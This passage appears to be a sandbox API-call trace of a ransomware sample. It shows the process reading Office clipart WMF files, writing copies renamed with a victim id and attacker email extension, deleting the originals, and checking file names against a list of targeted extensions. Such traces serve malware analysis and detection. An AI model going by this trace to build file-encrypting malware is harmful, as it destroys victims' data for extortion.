	[0054.520] ReadFile (in: hFile=0x350, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0054.520] WriteFile (in: hFile=0x2ec, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1
	[0054.520] SetEndOfFile (hFile=0x2ec) returned 1
	[0054.520] CloseHandle (hObject=0x2ec) returned 1
	[0054.521] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.521] SetEndOfFile (hFile=0x350) returned 1
	[0054.522] CloseHandle (hObject=0x350) returned 1
	[0054.522] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0054.522] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf")) returned 1
	[0054.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68
	[0054.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68
	[0054.522] lstrlenW (lpString=".doc") returned 4
	[0054.522] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0054.522] lstrlenW (lpString=".docx") returned 5
	[0054.522] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0054.522] lstrlenW (lpString=".pdf") returned 4
	[0054.522] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0054.522] lstrlenW (lpString=".xls") returned 4
	[0054.523] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0054.523] lstrlenW (lpString=".xlsx") returned 5
	[0054.523] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0054.523] lstrlenW (lpString=".ppt") returned 4
	[0054.523] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0054.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68
	[0054.523] lstrlenW (lpString=".zip") returned 4
	[0054.523] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0054.523] lstrlenW (lpString=".rar") returned 4
	[0054.523] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0054.523] lstrlenW (lpString=".bz2") returned 4
	[0054.523] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0054.523] lstrlenW (lpString=".7z") returned 3
	[0054.523] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0054.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68
	[0054.523] lstrlenW (lpString=".dbf") returned 4
	[0054.523] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0054.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68
	[0054.523] lstrlenW (lpString=".1cd") returned 4
	[0054.523] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0054.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68
	[0054.523] lstrlenW (lpString=".jpg") returned 4
	[0054.523] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0054.523] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.523] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0054.524] GetLastError () returned 0x0
	[0054.524] ReadFile (in: hFile=0x350, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x32c, lpOverlapped=0x0) returned 1
	[0054.531] WriteFile (in: hFile=0x2ec, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x330, lpOverlapped=0x0) returned 1
	[0054.532] ReadFile (in: hFile=0x350, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0054.532] WriteFile (in: hFile=0x2ec, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1
	[0054.532] SetEndOfFile (hFile=0x2ec) returned 1
	[0054.533] CloseHandle (hObject=0x2ec) returned 1
	[0055.849] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.849] SetEndOfFile (hFile=0x350) returned 1
	[0056.763] CloseHandle (hObject=0x350) returned 1
	[0056.763] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0056.763] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf")) returned 1
	[0056.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68
	[0056.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68
	[0056.796] lstrlenW (lpString=".doc") returned 4
	[0056.796] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0056.796] lstrlenW (lpString=".docx") returned 5
	[0056.796] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0056.796] lstrlenW (lpString=".pdf") returned 4
	[0056.796] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0056.796] lstrlenW (lpString=".xls") returned 4
	[0056.796] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0056.796] lstrlenW (lpString=".xlsx") returned 5
	[0056.796] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0056.796] lstrlenW (lpString=".ppt") returned 4
	[0056.796] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0056.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68
	[0056.796] lstrlenW (lpString=".zip") returned 4
	[0056.796] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0056.796] lstrlenW (lpString=".rar") returned 4
	[0056.796] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0056.796] lstrlenW (lpString=".bz2") returned 4
	[0056.796] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0056.796] lstrlenW (lpString=".7z") returned 3
	[0056.797] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0056.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68
	[0056.797] lstrlenW (lpString=".dbf") returned 4
	[0056.797] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0056.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68
	[0056.797] lstrlenW (lpString=".1cd") returned 4
	[0056.797] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0056.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68
	[0056.797] lstrlenW (lpString=".jpg") returned 4
	[0056.797] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0056.797] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.797] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0056.797] GetLastError () returned 0x0
	[0056.797] ReadFile (in: hFile=0x350, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x94a, lpOverlapped=0x0) returned 1
	[0056.841] WriteFile (in: hFile=0x2e4, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x950, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x950, lpOverlapped=0x0) returned 1
	[0056.842] ReadFile (in: hFile=0x350, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0056.842] WriteFile (in: hFile=0x2e4, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1
	[0056.842] SetEndOfFile (hFile=0x2e4) returned 1
	[0056.849] CloseHandle (hObject=0x2e4) returned 1
	[0056.850] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.850] SetEndOfFile (hFile=0x350) returned 1
	[0056.852] CloseHandle (hObject=0x350) returned 1
	[0056.852] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0056.852] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf")) returned 1
	[0056.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68
	[0056.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68
	[0056.853] lstrlenW (lpString=".doc") returned 4
	[0056.853] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0056.853] lstrlenW (lpString=".docx") returned 5
	[0056.853] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0056.853] lstrlenW (lpString=".pdf") returned 4
	[0056.853] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0056.853] lstrlenW (lpString=".xls") returned 4
	[0056.853] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0056.853] lstrlenW (lpString=".xlsx") returned 5
	[0056.853] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0056.853] lstrlenW (lpString=".ppt") returned 4
	[0056.853] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0056.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68
	[0056.853] lstrlenW (lpString=".zip") returned 4
	[0056.853] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0056.853] lstrlenW (lpString=".rar") returned 4
	[0056.853] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0056.853] lstrlenW (lpString=".bz2") returned 4
	[0056.853] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0056.853] lstrlenW (lpString=".7z") returned 3
	[0056.853] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0056.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68
	[0056.853] lstrlenW (lpString=".dbf") returned 4
	[0056.853] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0056.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68
	[0056.853] lstrlenW (lpString=".1cd") returned 4
	[0056.853] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0056.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68
	[0056.853] lstrlenW (lpString=".jpg") returned 4
	[0056.853] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0056.854] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.854] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0056.854] GetLastError () returned 0x0
	[0056.854] ReadFile (in: hFile=0x350, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0xc20, lpOverlapped=0x0) returned 1
	[0056.870] WriteFile (in: hFile=0x2f4, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xc30, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xc30, lpOverlapped=0x0) returned 1
	[0056.871] ReadFile (in: hFile=0x350, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0056.871] WriteFile (in: hFile=0x2f4, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1
	[0056.872] SetEndOfFile (hFile=0x2f4) returned 1
	[0056.872] CloseHandle (hObject=0x2f4) returned 1
	[0056.872] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.872] SetEndOfFile (hFile=0x350) returned 1
	[0056.873] CloseHandle (hObject=0x350) returned 1
	[0056.873] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0056.874] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf")) returned 1
	[0056.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68
	[0056.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68
	[0056.874] lstrlenW (lpString=".doc") returned 4
	[0056.874] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0056.874] lstrlenW (lpString=".docx") returned 5
	[0056.874] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0056.874] lstrlenW (lpString=".pdf") returned 4
	[0056.874] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0056.874] lstrlenW (lpString=".xls") returned 4
	[0056.874] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0056.874] lstrlenW (lpString=".xlsx") returned 5
	[0056.874] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0056.874] lstrlenW (lpString=".ppt") returned 4
	[0056.874] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0056.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68
	[0056.874] lstrlenW (lpString=".zip") returned 4
	[0056.874] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0056.874] lstrlenW (lpString=".rar") returned 4
	[0056.874] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0056.874] lstrlenW (lpString=".bz2") returned 4
	[0056.874] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0056.874] lstrlenW (lpString=".7z") returned 3
	[0056.874] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0056.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68
	[0056.874] lstrlenW (lpString=".dbf") returned 4
	[0056.874] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0056.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68
	[0056.875] lstrlenW (lpString=".1cd") returned 4
	[0056.875] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0056.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68
	[0056.875] lstrlenW (lpString=".jpg") returned 4
	[0056.875] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0056.875] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.875] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0056.875] GetLastError () returned 0x0
	[0056.875] ReadFile (in: hFile=0x350, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x804, lpOverlapped=0x0) returned 1
	[0056.877] WriteFile (in: hFile=0x2f4, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x810, lpOverlapped=0x0) returned 1
	[0056.877] ReadFile (in: hFile=0x350, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0056.877] WriteFile (in: hFile=0x2f4, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1
	[0056.878] SetEndOfFile (hFile=0x2f4) returned 1
	[0056.878] CloseHandle (hObject=0x2f4) returned 1
	[0056.878] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.878] SetEndOfFile (hFile=0x350) returned 1
	[0056.879] CloseHandle (hObject=0x350) returned 1
	[0056.879] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0056.879] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf")) returned 1
	[0056.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68
	[0056.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68
	[0056.880] lstrlenW (lpString=".doc") returned 4
	[0056.880] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0056.880] lstrlenW (lpString=".docx") returned 5
	[0056.880] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0056.880] lstrlenW (lpString=".pdf") returned 4
	[0056.880] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0056.880] lstrlenW (lpString=".xls") returned 4
	[0056.880] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0056.880] lstrlenW (lpString=".xlsx") returned 5
	[0056.880] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0056.880] lstrlenW (lpString=".ppt") returned 4
	[0056.880] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0056.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68
	[0056.880] lstrlenW (lpString=".zip") returned 4
	[0056.880] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0056.880] lstrlenW (lpString=".rar") returned 4
	[0056.880] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0056.880] lstrlenW (lpString=".bz2") returned 4
	[0056.880] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0056.880] lstrlenW (lpString=".7z") returned 3
	[0056.880] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0056.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68
	[0056.880] lstrlenW (lpString=".dbf") returned 4
	[0056.880] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0056.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68
	[0056.880] lstrlenW (lpString=".1cd") returned 4
	[0056.880] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0056.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68
	[0056.880] lstrlenW (lpString=".jpg") returned 4
	[0056.880] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0056.881] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.881] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0056.881] GetLastError () returned 0x0
	[0056.881] ReadFile (in: hFile=0x350, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x15cc, lpOverlapped=0x0) returned 1
	[0056.897] WriteFile (in: hFile=0x2f4, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x15d0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x15d0, lpOverlapped=0x0) returned 1
	[0056.898] ReadFile (in: hFile=0x350, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0056.898] WriteFile (in: hFile=0x2f4, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1
	[0056.898] SetEndOfFile (hFile=0x2f4) returned 1
	[0056.898] CloseHandle (hObject=0x2f4) returned 1
	[0056.898] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.898] SetEndOfFile (hFile=0x350) returned 1
	[0056.899] CloseHandle (hObject=0x350) returned 1
	[0056.899] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0056.899] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf")) returned 1
	[0056.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68
	[0056.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68
